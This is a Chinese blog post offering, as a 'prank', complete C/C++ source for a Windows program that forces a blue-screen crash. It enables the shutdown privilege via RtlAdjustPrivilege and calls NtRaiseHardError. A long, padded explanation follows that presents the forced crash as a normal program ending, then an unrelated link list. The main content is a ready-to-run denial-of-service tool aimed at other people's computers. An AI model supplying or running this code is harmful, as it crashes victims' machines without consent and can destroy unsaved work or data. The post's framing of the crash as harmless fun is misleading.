当前位置: 首页 > news >正文

C/C++实现蓝屏2.0

🚀欢迎互三👉程序猿方梓燚 💎💎

🚀关注博主,后期持续更新系列文章

🚀如果有错误感谢请大家批评指出,及时修改

🚀感谢大家点赞👍收藏评论✍  

前情提要

上次的文章C/C++蓝屏整人代码(要看的戳这里) 居然有粉丝在评论区说没有完全蓝屏(不信自己看下面)

好好好这么玩儿是吧,那么今天我给大家分享一个超级超级超级超级......咳咳咳...牛逼的蓝屏代码废话不多说直接来到大家超级超级超级超级......咳咳咳......喜欢的代码时间

完整代码

#include <Windows.h>
// 包含了 Windows 编程所需的头文件,提供了与 Windows 操作系统进行交互的各种函数、数据结构和常量定义int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) 
// WinMain 是 Windows 应用程序的入口点函数。
// HINSTANCE hInstance 是当前应用程序的实例句柄。
// HINSTANCE hPrevInstance 在 32 位 Windows 中始终为 NULL,已废弃。
// LPSTR lpCmdLine 是命令行参数。
// int nCmdShow 决定了窗口的初始显示方式{HMODULE ntdll = LoadLibrary("ntdll.dll"); // 使用 LoadLibrary 函数动态加载 ntdll.dll 库。// ntdll.dll 是 Windows 内核的重要模块,包含了许多底层的系统函数。FARPROC RtlAdjPriv = GetProcAddress(ntdll, "RtlAdjustPrivilege"); // 通过 GetProcAddress 函数获取 ntdll.dll 库中 "RtlAdjustPrivilege" 函数的地址。FARPROC NtRaiseHardErr = GetProcAddress(ntdll, "NtRaiseHardError"); // 同样通过 GetProcAddress 函数获取 "NtRaiseHardError" 函数的地址。unsigned char ErrKill; // 定义一个无符号字符类型的变量 ErrKill,用于存储相关数据。long unsigned int HDErr; // 定义一个无符号长整型变量 HDErr,用于存储相关数据。((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjPriv)(0x13, true, false, &ErrKill); // 进行函数指针的类型转换,并调用 "RtlAdjustPrivilege" 函数,传递了特定的参数 0x13、true、false 和 ErrKill 的地址。((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardErr)(0xc0000233, 0, 0, 0, 6, &HDErr); // 进行函数指针的类型转换,并调用 "NtRaiseHardError" 函数,传递了特定的参数 0xc0000233 等和 HDErr 的地址。return 0; // 返回 0,表示程序正常结束。
}

代码详解

首先,通过 #include <Windows.h> 语句引入了 Windows 编程所需的头文件。此头文件不仅广泛而且详尽地涵盖了与 Windows 操作系统进行交互所必需的各种函数、数据结构和常量定义。它就如同构建摩天大楼的基石,为后续程序的开发精心搭建了稳固且不可或缺的基础架构。无论是处理图形界面、文件操作,还是进行网络通信等,都能在此头文件中找到相应的支持。

 

WinMain 函数作为 Windows 应用程序的关键入口点,具备以下至关重要的参数:

 

HINSTANCE hInstance :此参数独特且精确无误地标识了当前应用程序的实例句柄。在 Windows 系统那复杂而精细的运行机制中,它宛如一把万能钥匙,对于资源的有效管理、窗口的精心创建以及众多相关操作起着决定性作用。其重要性不可小觑,是确保应用程序稳定运行和系统资源合理管理的关键标识符。无论是资源的分配、释放,还是窗口的样式、位置等设置,都离不开这个标识符的准确运用。

 

HINSTANCE hPrevInstance :在 32 位 Windows 环境中已被确切地废弃,并且始终毫无例外地呈现为 NULL 的状态。这意味着它如同一件被时代淘汰的工具,不再具备任何实际的功能和作用。开发者在编写代码时,无需对其进行关注和处理。

 

LPSTR lpCmdLine :这一参数用于细致入微且全面地获取用户在命令行中输入的具体参数。它就像一个灵敏的触角,能够捕捉到用户输入的每一个字符和指令。通过对这些参数进行深入透彻的解析和精心巧妙的处理,程序能够依据用户的输入灵活多变且精准无误地执行多样化的逻辑流程或特定操作。从而实现与用户高效且顺畅的交互,满足用户的个性化需求,提供更加智能和便捷的使用体验。

 

int nCmdShow :其核心功能是严谨细致地决定应用程序窗口的初始显示方式。它仿佛是一位精准的调度员,能够将窗口的初始状态精准设置为最大化、最小化、正常显示等各种不同的状态。为用户提供了丰富多样的初始窗口展示效果选择,满足不同用户的偏好和使用场景需求。

 

在函数内部,通过一系列复杂而关键的操作与系统底层进行深度且全面的交互:

 

使用 LoadLibrary 函数动态加载了 ntdll.dll 库。ntdll.dll 作为 Windows 内核至关重要且不可或缺的核心组成部分,承载着数量众多且功能强大的底层系统函数。它犹如一座神秘的宝库,蕴含着无尽的系统核心功能。这一加载操作使得程序得以畅通无阻且高效地访问和充分利用这些底层的核心功能,为实现特定的高级且复杂的操作奠定了坚实的基础和创造了可能。

 

紧接着,巧妙且精准地运用 GetProcAddress 函数准确无误地获取了 ntdll.dll 库中 RtlAdjustPrivilege 和 NtRaiseHardError 这两个关键函数的地址。这一过程就像是在茫茫大海中精准定位到珍贵的宝藏坐标,为后续的操作找到了关键的钥匙。

 

随后,精确无误地定义了 unsigned char 类型的变量 ErrKill 和无符号长整型变量 HDErr ,旨在周密细致地存储后续函数调用过程中可能涉及和产生的各种数据。这些变量如同精心准备的容器,等待着数据的填充和使用。

 

接下来,进行了两次精准且无偏差的函数指针的类型转换,并顺利且高效地执行了相应的函数调用:

 

对于 RtlAdjustPrivilege 函数,极其准确且恰到好处地传递了参数 0x13truefalse 和 ErrKill 的地址,以实现特定且精细入微的权限调整操作。每一个参数的传递都像是在精心编排一场精密的舞蹈,不容有丝毫差错。

 

对于 NtRaiseHardErr 函数,精心且严谨无误地传递了参数 0xc0000233 等以及 HDErr 的地址,从而精准且有效地触发相应的硬件错误处理机制。每一个数据的传递都像是在触发一个复杂而精密的机关,必须确保准确无误。

 

最后,通过 return 0; 语句清晰明确且毫无歧义地表示程序正常结束,圆满且顺利地完成了整个应用程序的运行流程。就如同一场精彩演出的完美落幕,给整个程序的执行画上了一个圆满的句号。

好了今天就到这了ByeBye!!!

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Linux进程间通信——软件实现临界区互斥的基本方法
  • 高性能web服务器3——Nginx编译安装
  • Spring MVC Controller返回json日期格式配置失效的解决办法
  • CUDA编程07 - 卷积的优化
  • TikTok达人营销与品牌建设:长期视角下的策略布局
  • Zookeeper服务注册及心跳机制详解
  • 【操作系统】什么是进程?什么是线程?两者有什么区别(面试常考!!!)
  • 设计模式---构建者模式(Builder Pattern)
  • 详解线索分层的目的、维度与创新实践
  • 【Java】了解线程 Thread 类的使用,如何创建、终止、等待一个线程,一文读懂不迷路
  • 【论文学习与撰写】快捷搜索指令filetype:pdf,搜索引擎关键词搜索pdf格式文件或者word格式文件。文献搜索方法大全。
  • 26 slave写入数据解决与GTIDS主从复制搭建
  • 白骑士的C#教学实战项目篇 4.4 游戏开发
  • 《向量数据库指南》——解决方案:采用安全、高性能的Milvus Cloud向量数据库,赋能Dopple AI的创新与发展
  • 速盾:博客主机租用怎么提高访问速度呢?
  • 《Java8实战》-第四章读书笔记(引入流Stream)
  • 《深入 React 技术栈》
  • 【399天】跃迁之路——程序员高效学习方法论探索系列(实验阶段156-2018.03.11)...
  • Making An Indicator With Pure CSS
  • MySQL的数据类型
  • seaborn 安装成功 + ImportError: DLL load failed: 找不到指定的模块 问题解决
  • SpringCloud集成分布式事务LCN (一)
  • Vue ES6 Jade Scss Webpack Gulp
  • Vue2.0 实现互斥
  • vue的全局变量和全局拦截请求器
  • webgl (原生)基础入门指南【一】
  • WordPress 获取当前文章下的所有附件/获取指定ID文章的附件(图片、文件、视频)...
  • 简析gRPC client 连接管理
  • 猫头鹰的深夜翻译:JDK9 NotNullOrElse方法
  • 每天一个设计模式之命令模式
  • 前端代码风格自动化系列(二)之Commitlint
  • 前端每日实战:70# 视频演示如何用纯 CSS 创作一只徘徊的果冻怪兽
  • 视频flv转mp4最快的几种方法(就是不用格式工厂)
  • 双管齐下,VMware的容器新战略
  • 网页视频流m3u8/ts视频下载
  • 摩拜创始人胡玮炜也彻底离开了,共享单车行业还有未来吗? ...
  • # 安徽锐锋科技IDMS系统简介
  • #!/usr/bin/python与#!/usr/bin/env python的区别
  • #gStore-weekly | gStore最新版本1.0之三角形计数函数的使用
  • (Oracle)SQL优化技巧(一):分页查询
  • (二)构建dubbo分布式平台-平台功能导图
  • (附源码)spring boot火车票售卖系统 毕业设计 211004
  • (附源码)ssm基于web技术的医务志愿者管理系统 毕业设计 100910
  • (附源码)ssm考生评分系统 毕业设计 071114
  • (接上一篇)前端弄一个变量实现点击次数在前端页面实时更新
  • (六)Flink 窗口计算
  • (十)T检验-第一部分
  • ***linux下安装xampp,XAMPP目录结构(阿里云安装xampp)
  • .net web项目 调用webService
  • .Net多线程总结
  • .Net中间语言BeforeFieldInit
  • .net最好用的JSON类Newtonsoft.Json获取多级数据SelectToken
  • /*在DataTable中更新、删除数据*/
  • @FeignClient 调用另一个服务的test环境,实际上却调用了另一个环境testone的接口,这其中牵扯到k8s容器外容器内的问题,注册到eureka上的是容器外的旧版本...
  • @拔赤:Web前端开发十日谈